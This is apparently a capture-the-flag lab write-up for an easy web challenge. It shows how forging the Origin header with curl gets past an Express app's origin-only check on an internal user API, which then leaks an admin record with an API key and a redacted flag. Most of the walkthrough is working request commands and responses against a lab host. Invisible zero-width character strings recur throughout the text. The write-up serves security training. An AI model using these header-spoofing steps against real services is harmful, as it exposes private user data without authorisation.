Lab 186 — DataPulse — CORS Origin Validation Bypass

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-21 | Status: Solved Techniques: cors_origin_header_spoofing, honeypot_flag_identification, internal_api_endpoint_enumeration, javascript_source_analysis_for_api_discovery

Summary

Task: Node.js/Express analytics platform with CORS-protected internal API endpoint /api/internal/users restricted to *.datapulse.io origins. Solution: Discover endpoint via dashboard JavaScript source, spoof Origin header to bypass validation, extract flag from admin user's internal_notes field.

Lab 186 — DataPulse — CORS Origin Validation Bypass — HackAdvisor

Description

DataPulse is a real-time analytics platform built for modern development teams. The platform offers interactive dashboards, metrics visualization, team reporting features, and API-driven data access. As a registered user, you can explore the various analytics tools and reporting endpoints available throughout the application. Your goal is to find and exploit a weakness in how the application controls access to its API layer and retrieve sensitive administrative data containing the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express analytics platform (nginx/1.25.5 reverse proxy) with public and internal API endpoints. The internal /api/internal/users endpoint is protected by Origin header validation that only allows *.datapulse.io domains. The goal is to bypass this CORS restriction and access the admin user directory containing the flag. Credentials provided: user@test.com / password123.

Analysis

Stack identification

• Backend: Node.js/Express
• Reverse proxy: nginx/1.25.5
• Session: connect.sid cookie (HttpOnly, Secure, SameSite=Lax) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

API endpoint discovery

The dashboard loads /js/dashboard.js which contains revealing comments documenting the full API structure:

 javascript read-only • copy allowed Copy
/**
 * DataPulse Dashboard v2.4.1
 * API Configuration:
 *   - Public:   GET /api/metrics         (standard CORS)
 *   - Public:   GET /api/metrics/sources  (standard CORS)
 *   - Internal: GET /api/internal/users   (origin-restricted to *.datapulse.io)
 */

// Internal API base URL for cross-service communication
// var INTERNAL_API = window.location.origin;
// var userDirectoryEndpoint = '/api/internal/users';

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

In-app hints

The activity feed on the dashboard contains a breadcrumb: "Victoria Hargrove updated CORS whitelist for internal APIs" — pointing directly at the CORS configuration as the attack surface.

Decoy flag (honeypot)

Every HTML page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden divs. This is a trap for automated scanners — not the real flag.

CORS misconfiguration

The /api/internal/users endpoint has a flawed access control model:

1. Requires an Origin header — returns 403 without one
2. Validates the origin against a *.datapulse.io pattern
3. Reflects the attacker-controlled origin in Access-Control-Allow-Origin
4. Sets Access-Control-Allow-Credentials: true — allowing credentialed cross-origin requests ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The fundamental flaw: Origin header validation is a defense-in-depth measure for browsers, but non-browser HTTP clients (curl, Python requests, etc.) can set arbitrary Origin headers. This makes it ineffective as a sole access control mechanism.

Solution

Step 1: Login and obtain session cookie

 bash read-only • copy allowed Copy
curl -s -c cookies.txt \
  'https://a05f63d2-56fb-4e1d-8069-cf34baad7121.labs.hackadvisor.io/login' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'email=user@test.com&password=password123' \
  -L

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Discover internal API endpoint

Read the dashboard JavaScript source:

 bash read-only • copy allowed Copy
curl -s -b cookies.txt \
  'https://a05f63d2-56fb-4e1d-8069-cf34baad7121.labs.hackadvisor.io/js/dashboard.js'

The comments reveal /api/internal/users restricted to *.datapulse.io origins.

Step 3: Confirm Origin header requirement

 bash read-only • copy allowed Copy
curl -s -b cookies.txt \
  'https://a05f63d2-56fb-4e1d-8069-cf34baad7121.labs.hackadvisor.io/api/internal/users'

Response (403):

 json read-only • copy allowed Copy
{
  "error": "Origin header required",
  "message": "This endpoint requires a valid Origin header from an authorized datapulse.io service"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Bypass CORS validation with spoofed Origin

 bash read-only • copy allowed Copy
curl -s -b cookies.txt \
  'https://a05f63d2-56fb-4e1d-8069-cf34baad7121.labs.hackadvisor.io/api/internal/users' \
  -H 'Origin: https://datapulse.io'

The server responds with 200 OK and CORS headers:

Access-Control-Allow-Origin: https://datapulse.io
Access-Control-Allow-Credentials: true

Any *.datapulse.io subdomain also works: https://admin.datapulse.io, https://evil.datapulse.io, etc.

Step 5: Extract the flag from admin user data

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The response contains a full user directory (12 users). The admin user's record contains the flag:

 json read-only • copy allowed Copy
{
  "id": 1,
  "full_name": "Victoria Hargrove",
  "email": "admin@datapulse.io",
  "role": "admin",
  "department": "Engineering",
  "internal_notes": "System administrator account. Master API key: dp_live_k9x2m. Platform flag: FLAG{REDACTED}"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍